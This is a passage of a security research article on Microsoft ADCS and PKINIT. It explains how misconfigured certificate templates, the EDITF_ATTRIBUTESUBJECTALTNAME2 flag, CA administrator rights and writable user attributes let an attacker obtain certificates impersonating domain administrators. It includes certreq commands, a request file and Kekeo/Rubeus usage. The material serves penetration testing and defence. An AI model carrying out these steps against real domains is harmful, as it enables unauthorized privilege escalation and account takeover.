<p>Access to these configuration parameters and global PKI operation can be mostly performed remotely using Remote Procedure Call (RPC), via the Microsoft Management Console (MMC).</p>
<p>&nbsp;</p>
<h3><a name="section-2-2-3"></a>Mixing it all together!</h3>
<p>The heart of the day-to-day interactions with ADCS and CA servers resides in the <strong>certificate templates</strong> and <strong>enrollment services</strong>:</p>
<ul>
<li>Each <strong>enrollment service</strong> links to a <strong>CA server</strong> with the ADCS role – <strong>additional settings</strong> can be configured <strong>locally</strong> on a per-server basis, mainly stored in the registry</li>
<li>The <strong>enrollment service</strong> lists a <strong>subset of the certificate templates</strong> published:</li>
</ul>
<p><img loading="lazy" decoding="async" class="wp-image-16081 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="874" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 1078w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x114.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-768x200.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></p>
<p style="text-align: center;"><em>ADCS operation overview</em></p>
<p>&nbsp;</p>
<p>Finally, in order to request a certificate, the user / computer must: ​</p>
<ul>
<li>Have the <strong>enrollment rights </strong>on the <strong><strong>Enrollmen</strong></strong><strong>t Service</strong></li>
<li><em>And</em> have the <strong>enrollment rights</strong> on the <strong>target Certificate Template</strong>​</li>
<li>Be able to reach the CA server on <strong>port 135</strong> (RPC) and <strong>high dynamic ports</strong> (usually start at 49152)</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-2-3"></a>Kerberos, smartcard logon and certificate authentication</h2>
<h3><a name="section-2-3-1"></a>Kerberos 101</h3>
<p>Authentication in Active Directory is mostly performed using one two authentication protocols:</p>
<ul>
<li>The NTLM challenge-response, solely based on the NT hash of the principal</li>
<li>Kerberos – a protocol originally designed by the MIT – which uses tickets and secrets keys</li>
</ul>
<p>In its most simple form, Kerberos operates as follows:</p>
<ol>
<li>An <strong>Active Directory principal</strong> (user, computer) emits an <span style="color: #005572;"><strong>AS-REQ</strong></span> request to the <strong>Authentication Service (AS)</strong>; this request contains a pre-authentication message that validates the principal’s identity</li>
<li>If the authentication succeeds, the <strong>AS</strong> replies with an <span style="color: #005572;"><strong>AS-REP</strong></span> which includes a <strong>Ticket-Granting-Ticket (TGT)</strong> delivered by the <strong>Key Distribution Center (KDC)</strong></li>
<li>The principal then sends <span style="color: #005572;"><strong>TGS-REQ</strong></span> requests to the <strong>Ticket-Granting-Service (TGS)</strong>, including the <strong>TGT</strong>, to ask for an ticket built for an <strong>Active Directory service</strong> – an AD principal whose <code>servicePrincipalName</code> attribute is not empty</li>
<li>The <strong>KDC </strong>replies with an <span style="color: #005572;"><strong>TGS-REP</strong></span> which includes a <strong>Service Ticket (ST)</strong> encrypted with the service’s secret key (RC4 key (NT Hash), AES-256 key, etc.)</li>
<li>The principal can authenticate to said service with an <span style="color: #005572;"><strong>AP-REQ</strong></span> request by sending the <span style="color: #000000;"><strong>ST</strong></span>, which will be decrypted by the service to identify the client principal</li>
<li>If everything is in order, the service replies with an <span style="color: #005572;"><strong>AP-REP</strong></span> message:</li>
</ol>
<figure id="post-16084 media-16084" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16084 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="471" height="470" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-191x191.png 191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-39x39.png 39w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-32x32.png 32w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-64x64.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-96x96.png 96w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-128x128.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-70x70.png 70w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-175x175.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-130x130.png 130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-115x115.png 115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-30x30.png 30w" sizes="auto, (max-width: 471px) 100vw, 471px" /></figure>
<p style="text-align: center;"><em>Kerberos authentication graphical representation</em></p>
<p>&nbsp;</p>
<h3><a name="section-2-3-2"></a>Introducing PKINIT</h3>
<p>The type of pre-authentication to be used is described in the <code>padata-type</code> field of the <code>AS-REQ</code> request. The most common value is <code>PA-ENC-TIMESTAMP</code>, which works by <span style="color: #005572;"><strong>encrypting a timestamp token with one of the user’s secrets</strong></span> (NT hash, AES key, etc.). The complete list of values that can be used within a Microsoft environment is detailed in <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ae60c948-fda8-45c2-b1d1-a71b484dd1f7">[MS-KILE]</a>.</p>
<p>Kerberos authentication using smartcards relies on the <code>PA-PK-AS-REQ</code> value and uses the <span style="color: #005572;"><strong>PKINIT </strong></span><a href="https://tools.ietf.org/html/rfc4556">[RFC4556]</a> protocol. This protocol defines how public key cryptography can be used as a pre-authentication mechanism in Kerberos, whereas usually it uses symmetric cryptographic protocols (using shared secrets derived from the password).</p>
<p><span style="color: #005572;"><strong>PKINIT </strong></span>needs to identify the authenticating Active Directory object based on sent elements, as described below:</p>
<figure id="post-16087 media-16087" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16087 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="374" height="166" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 672w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-431x191.png 431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x31.png 71w" sizes="auto, (max-width: 374px) 100vw, 374px" /></figure>
<p style="text-align: center;"><em>Global overview of PKINIT operating</em></p>
<p>&nbsp;</p>
<p>Like in the standard mode, a<strong> timestamp token is generated </strong>that will later ensure the freshness of the authentication. <strong>This token is signed</strong> with the user’s private key,<strong> the corresponding certificate is sent in the AS-REQ packet</strong> and, depending on the type of mapping intended (explicit or implicit), either a principal name or hints that can be used to locate the principal. The detailed operating of the implicit and explicit mappings is described below:</p>
<figure id="post-16089 media-16089" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16089 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50.png" alt="" width="538" height="709" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50.png 538w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50-145x191.png 145w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50-30x39.png 30w" sizes="auto, (max-width: 538px) 100vw, 538px" /></figure>
<p style="text-align: center;"><em>Details of PKINIT operating (<a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/smart-cards/smart-card-certificate-requirements-and-enumeration">source</a>)</em></p>
<p>&nbsp;</p>
<p>Once the Active Directory object is located, depending on the path taken, the certificate will have to meet the NT_AUTH policy, i.e. having its <strong>direct issuer’s certificate included in the NtAuth enterprise store</strong>.</p>
<p>Then, the authentication server will verify that the certificate «&nbsp;Enhanced Key Usage&nbsp;» extension contains either “<span style="color: #005572;"><strong>Client Authentication</strong></span>” (<code>1.3.6.1.5.5.7.3.2</code>), “<span style="color: #005572;"><strong>Microsoft Smartcard Logon</strong></span>” (<code>1.3.6.1.4.1.311.20.2.2</code>), “<span style="color: #005572;"><strong>Key Purpose Client Auth</strong></span>” (<code>1.3.6.1.5.2.3.4</code>) or “<span style="color: #005572;"><strong>Any purpose</strong></span>” (<code>2.5.29.37.0</code>).</p>
<p>Finally, the KDC will verify that the certificate provided <strong>links to a trusted root Certification Authority</strong>, is <strong>valid </strong>(dates and revocation) and that the <strong>signature of the timestamp token is cryptographically correct</strong>. If all checks pass, the user is provided with a TGT for the located AD object.</p>
<p>&nbsp;</p>
<h3><a name="section-2-3-3"></a>Using PKINIT in real life</h3>
<p>The <span style="color: #005572;"><strong>PKINIT </strong></span>protocol is automatically used when smartcard logon is performed. The authentication GUI detects that a smartcard can be used, and, if the user provides the correct PIN, <strong>uses the embedded private key to sign the pre-authentication data</strong>.</p>
<p>By default, only the associated certificate is sent but administrators can enable the use of “name hints” through local policies (<em>Computer Configuration &gt; Administrative templates &gt; Windows components &gt; Smartcard &gt; Allow username hints</em>):</p>
<figure id="post-16026 media-16026" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16026 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18.jpg" alt="" width="421" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-323x191.jpg 323w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-66x39.jpg 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-120x70.jpg 120w" sizes="auto, (max-width: 421px) 100vw, 421px" /></figure>
<p style="text-align: center;"><em>Providing name hints alongside the certificate</em></p>
<p><em>&nbsp;</em></p>
<p>It is also possible to use third-party tools to request a TGT using PKINIT and load it alongside legitimate tickets in the user’s session. In the examples below, the current user has two certificates in its store:</p>
<ul>
<li>A certificate named “<span style="color: #005572;"><strong>Explicit</strong></span>” with thumbprint <code>9c7bd7...1ce0b</code> and mapped to the <code>APERTURE\GlADOS</code> domain user via its <code>altSecurityIdentities</code> attribute</li>
<li>A certificate named “<span style="color: #005572;"><strong>Implicit</strong></span>” with thumbprint <code>f414...000c8</code> and including the <code>userPrincipalName</code> set as <code>cave@aperture.science</code></li>
</ul>
<p>&nbsp;</p>
<h4>With Kekeo</h4>
<p><a href="https://github.com/gentilkiwi/kekeo">Kekeo</a> is a piece of software developed by <strong>Gentilkiwi</strong>, the author of the well-known tool <strong>Mimikatz</strong>. It aims at providing its users with utilities to easily manipulate Windows API related to Kerberos and other protocols. However, if detected, it is hard to compile anew to evade detection due to the use of the commercial ASN.1/C library.</p>
<p>The screenshots below detail how <span style="color: #005572;"><strong>Kekeo </strong></span>provides support for <strong>PKINIT</strong>:</p>
<figure id="post-16028 media-16028" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16028 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19.png" alt="" width="771" height="174" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19.png 771w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-768x173.png 768w" sizes="auto, (max-width: 771px) 100vw, 771px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with explicit mapping</em></p>
<p>&nbsp;</p>
<figure id="post-16030 media-16030" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16030 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20.png" alt="" width="887" height="173" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20.png 887w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-437x85.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-768x150.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with implicit mapping in kekeo</em></p>
<p>&nbsp;</p>
<h4>With Rubeus</h4>
<p>As described on the tool’s GitHub repository, <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> is a C# toolset for raw Kerberos interaction and abuses. Its advantage comes from the fact that it can be easily recompiled to evade detection from security tools.</p>
<p>The screenshots below detail how <span style="color: #005572;"><strong>Rubeus </strong></span>provides support for <strong>PKINIT</strong>, although username hints are mandatory since the /user switch must be provided:</p>
<figure id="post-16032 media-16032" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16032 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21.png" alt="" width="710" height="329" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21.png 710w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21-412x191.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21-71x33.png 71w" sizes="auto, (max-width: 710px) 100vw, 710px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with explicit mapping in Rubeus</em></p>
<figure id="post-16034 media-16034" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16034 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22.png" alt="" width="696" height="345" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22.png 696w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22-71x35.png 71w" sizes="auto, (max-width: 696px) 100vw, 696px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with implicit mapping in Rubeus</em></p>
<p>&nbsp;</p>
<h1><a name="section-3"></a>Elevating privileges with ADCS</h1>
<p>The idea behind exploiting ADCS-related control paths is mostly to fraudulently obtain a certificate to authenticate as a privileged principal using PKINIT. Based on the PKINIT decision graph, there are two ways that certificates that can be used to achieve this purpose:</p>
<ul>
<li>For <span style="color: #005572;"><strong>explicit mappings</strong></span>, it needs to be configured on the target object as an alternative security identity</li>
<li>For <span style="color: #005572;"><strong>implicit mappings</strong></span>, it needs to includes the UserPrincipalName (UPN) of the target principal in the Subject Alternative Name extension</li>
</ul>
<p>The sections below aim at detailing the prerequisites needed to conduct the attack, and how it can be performed.</p>
<p>&nbsp;</p>
<h2><a name="section-3-1"></a>Exploiting an existing ADCS misconfiguration</h2>
<p>In some cases, no additional ACL exploit is needed because there are existing certificate templates that already validate the prerequisites needed to request an authentication certificate for any other principal:</p>
<ul>
<li>The <strong>template is listed</strong> in at least one of the enrollment services, and both grant the enroll rights to one of the assets (user, computer) already compromised</li>
<li>The <strong>server</strong> associated to the enrollment service <strong>is reachable</strong> on port 135 and high ports</li>
<li>The template lists at least one of the following <strong>extended key usages</strong>: <span style="color: #005572;">Client Authentication</span>, <span style="color: #005572;">Microsoft Smartcard Logon</span>, <span style="color: #005572;">Key Purpose Client Auth</span> or <span style="color: #005572;">Any Purpose</span></li>
<li>The template allows <strong>supplying the subject name in the request</strong></li>
<li><strong>No additional approval</strong> is required for the certificate issuance; such parameter can be configured at the template level – the list of validators is configured at the server-level and can only be determined by users with at least “Read” privileges on the CA</li>
</ul>
<p>If all conditions are met, there are multiple options to request the certificate (<code>certreq</code> executable or the <code>X509Enrollment</code> COM object in PowerShell), but the fastest is to use the <code>certmgr.msc</code> MMC component:</p>
<figure id="post-16036 media-16036" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-16036 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23.png" alt="" width="582" height="224" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23.png 789w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-768x296.png 768w" sizes="auto, (max-width: 582px) 100vw, 582px" /></figure>
<p style="text-align: center;"><em>Requesting a new certificate with the MMC</em></p>
<p><em>&nbsp;</em></p>
<p>At the template selection menu, interesting templates will appear with a yellow warning sign, since they need the requester to supply the name of the subject:</p>
<figure id="post-16038 media-16038" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16038 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24.png" alt="" width="500" height="106" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24.png 727w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24-71x15.png 71w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>Exploitable certificate template</em></p>
<p>&nbsp;</p>
<p>Then, enter a friendly name in the common name of the certificate (since kekeo needs it to select the certificate), and the UPN of the target user in the alternative name section:</p>
<figure id="post-16040 media-16040" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16040 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25.png" alt="" width="374" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25.png 614w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-155x125.png 155w" sizes="auto, (max-width: 374px) 100vw, 374px" /></figure>
<p style="text-align: center;"><em>Filling the subject name</em></p>
<p>&nbsp;</p>
<p>After enrollment, the certificate will be present in the Personal store and available to Kekeo and Rubeus to perform PKINIT with the identity of the target user (here <code>administrator@lab.local</code>):</p>
<pre class="w-code">Kekeo # tgt::ask /subject:ItDoesNotMatter</pre>
<figure id="post-16042 media-16042" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16042 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26.png" alt="" width="361" height="221" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26.png 467w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26-312x191.png 312w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26-64x39.png 64w" sizes="auto, (max-width: 361px) 100vw, 361px" /></figure>
<p style="text-align: center;"><em>Authentication certificate retrieved</em></p>
<p>&nbsp;</p>
<p>Subsequent sections present cases in which it is possible to exploit <strong>additional misconfigurations</strong> in Active Directory or on the ADCS servers to <strong>fall back to the situation and the exploit described above</strong>.</p>
<p>&nbsp;</p>
<h2><a name="section-3-2"></a>The insidious case of EDITF_ATTRIBUTESUBJECTALTNAME2</h2>
<p>One of the most dangerous and misunderstood of the CA servers’ local settings is <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code>. It was initially proposed as a way to allow for Subject Alternative Name (SAN) selection when using the <code>certreq</code> binary on command-line, and can locally be checked with:</p>
<pre class="w-code">C:\Users\Administrator&gt;certutil -getreg policy\editflags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\LAB ROOT CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags:

  EditFlags REG_DWORD = 15014e (1376590)
    EDITF_REQUESTEXTENSIONLIST -- 2
    EDITF_DISABLEEXTENSIONLIST -- 4
    EDITF_ADDOLDKEYUSAGE -- 8
    EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
    EDITF_ENABLEAKIKEYID -- 100 (256)
    EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
<span class="w-grepped">    EDITF_ATTRIBUTESUBJECTALTNAME2</span> -- 40000 (262144)
    EDITF_ENABLECHASECLIENTDC -- 100000 (1048576)
CertUtil: -getreg command completed successfully.</pre>
<p>This setting <strong>forces the CA to accept a user-selected SAN </strong>for every certificate template listed by this enrollment service. This means that even if the “Build for this Active Directory information” option is selected in the template options, the final SAN to be included in the certificate will be at the hand of the requester. <strong>This setting is fortunately disabled by default</strong>.</p>
<p>In this case, every authentication certificate template will be vulnerable to the previous exploit. In order to exploit it, create the following policy.inf file:</p>
<pre class="w-code">[Version]
Signature="$Windows NT$"
 
[NewRequest]
Subject = "CN=TEST"  ; will not be taken into account
Exportable = FALSE
KeyLength = 2048
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE ; TRUE if you want it in the machine store
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
RequestType = PKCS10
 
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=<span class="w-user">username@domain.tld</span>"
 
 
[RequestAttributes]
; If your client operating system is Windows Server 2003, Windows Server 2003 R2, or Windows XP
; and you are using a standalone CA, SANs can be included in the RequestAttributes
; section by using the following text format.
 
SAN="upn=<span class="w-user">username@domain.tld</span>"
CertificateTemplate = <span class="w-user">YourTemplateName</span></pre>
<p>Then, the certreq binary is again used to build the request and submit it to the CA server, and finally to add the certificate to the store:</p>
<pre class="w-code">C:\&gt; certreq -new policy.inf request.pem
C:\&gt; certreq -submit request.pem cert.pem
C:\&gt; certreq -accept cert.pem</pre>
<p>&nbsp;</p>
<h2><a name="section-3-3"></a>Local administrator rights on ADCS server</h2>
<p>There are multiple ways that domain and local users that are in the local Administrators group of CA servers can compromise the domain.</p>
<p>First, local administrators have <strong>full access to the registry</strong>, and therefore they can <strong>modify the CA policy</strong> <strong>settings</strong> to include the <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code> attribute mentioned in the previous section. It will allow the exploitation of any authentication certificate template that is listed by the server, which usually is enough to craft a certificate viable for a PKINIT on a privileged user.</p>
<p>Secondly, local administrators are granted access to the machine certificate store, in which the CA private key is located. From there, there are multiple options to issue an authentication certificate, including:</p>
<ul>
<li>Use the <code>certutil -sign</code> command to <strong>re-sign an authentication certificate</strong> issued by the same CA, and modify on-the-fly its subject alternative name list</li>
<li><strong>Export the certificate and its private key</strong>, if exportable or by patching the private key file “exportability blob”</li>
<li>Use Mimikatz to patch the CryptoAPI / CNG and <strong>export the certificate along with its private key</strong></li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-3-4"></a>ACL exploit on user objects (1)</h2>
<p>If one has some control on a domain user object, there are several ways that this object may be compromised. For example, <strong>its password can be changed</strong> (requires <code>AllExtendedRights</code> or <code>ForceChangePassword</code>), granting access to the account (watch out for side effects!).</p>
<p>A more silent way would be to <strong>modify the logon script</strong> by setting the <code>Scriptpath</code> attribute which only requires <code>GenericWrite</code> or specific <code>Write</code> to the attribute. It will execute any executable or script withing the context of the target’s session when it performs a logon.</p>
<p>There is another way of taking control over a user account (which is also fairly silent) by messing with the <code>altSecurityIdentities</code> attribute. As detailed in the PKINIT diagram, <strong>an explicit mapping can be created between a user object and a certificate</strong>, which then can be used to authenticate as the user.</p>
<p>Using the Microsoft Management Console (MMC), it can be performed through the “Active Directory Users &amp; Computers” component:</p>
<figure id="post-16044 media-16044" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16044 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27.png" alt="" width="250" height="59" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27.png 402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27-71x17.png 71w" sizes="auto, (max-width: 250px) 100vw, 250px" /></figure>
<p style="text-align: center;"><em>Adding the MMC component</em></p>
<p><em>&nbsp;</em></p>
<p>After enabling the “Advanced Features” in the “View” menu, it is possible to configure mappings through the “Name Mappings” option:</p>
<figure id="post-16046 media-16046" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16046 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28.png" alt="" width="500" height="93" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28.png 715w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28-437x81.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28-71x13.png 71w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>Select the name mappings</em></p>
<p><em>&nbsp;</em></p>
<p>Then, just select the certificate that will be used to create the explicit mapping. Note that <strong>implicit mappings take precedence over explicit ones</strong>, so the certificate <strong>must not include an UPN</strong>, but it still needs to <strong>feature the correct Extended Key Usage</strong>:</p>
<figure id="post-16048 media-16048" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16048 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29.png" alt="" width="364" height="241" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29.png 528w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29-288x191.png 288w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29-59x39.png 59w" sizes="auto, (max-width: 364px) 100vw, 364px" /></figure>
<p style="text-align: center;"><em>Creating the explicit mapping</em></p>
<p>&nbsp;</p>
<p>Under the hood, the GUI modifies the <code>altSecurityIdentities</code> attribute of the user in the following way:</p>
<figure id="post-16050 media-16050" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16050 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30.png" alt="" width="709" height="155" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30.png 1302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-437x96.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-768x168.png 768w" sizes="auto, (max-width: 709px) 100vw, 709px" /></figure>
<p style="text-align: center;"><em>Modification of the altSecurityIdentities attribute</em></p>
<p><em>&nbsp;</em></p>
<p>The new value of the attribute is a <strong>collection of strings</strong>, so it may be modified rather easily with the <code>Set-AdUser</code> cmdlet or another AD editing tool such as <code>adsiedit.msc</code> or AD Explorer.</p>
<p>Finally, the authentication can take place, using your favorite tool (Kekeo, Rubeus, etc.):</p>
<figure id="post-16052 media-16052" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16052 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31.png" alt="" width="647" height="151" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31.png 922w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-768x179.png 768w" sizes="auto, (max-width: 647px) 100vw, 647px" /></figure>
<p style="text-align: center;"><em>Authenticating as Admin1 with explicit mapping from Administrator’s certificate</em></p>
<p>&nbsp;</p>
<h2><a name="section-3-5"></a>ACL exploit on user objects (2)</h2>
<p>There exists another way of leveraging write access to user objects on the domain, however being <strong>much noisier</strong> and with a <strong>higher risk of breaking things</strong>.</p>
<p>If one already has an authentication certificate which includes the UPN of a low-privileged user, it will basically consist in modifying the <code>userPrincipalName</code> attribute of the target account to the value of that UPN. Such situations may arise when access to the enterprise Wi-Fi network is configured to be performed with a certificate, and with “user authentication” rather than “computer authentication”. In our case, we have a certificate with a UPN for <code>User1</code>:</p>
